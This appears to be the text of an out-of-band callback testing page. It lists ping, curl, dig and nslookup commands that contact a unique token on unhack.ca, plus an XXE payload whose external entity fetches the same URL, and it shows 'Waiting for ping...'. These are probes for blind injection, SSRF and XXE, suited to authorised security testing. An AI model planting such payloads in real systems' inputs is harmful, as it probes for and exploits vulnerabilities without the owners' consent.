$ ping -c1 -p 00019acd79e6fed55170f35185c7f400 unhack.ca
 
$ curl http://unhack.ca/p/019acd79e6fed55170f35185c7f4
 
$ dig 019acd79e6fed55170f35185c7f4 @unhack.ca
 
$ dig 019acd79e6fed55170f35185c7f4.ns.unhack.ca
 
C:\> nslookup 019acd79e6fed55170f35185c7f4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/019acd79e6fed55170f35185c7f4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...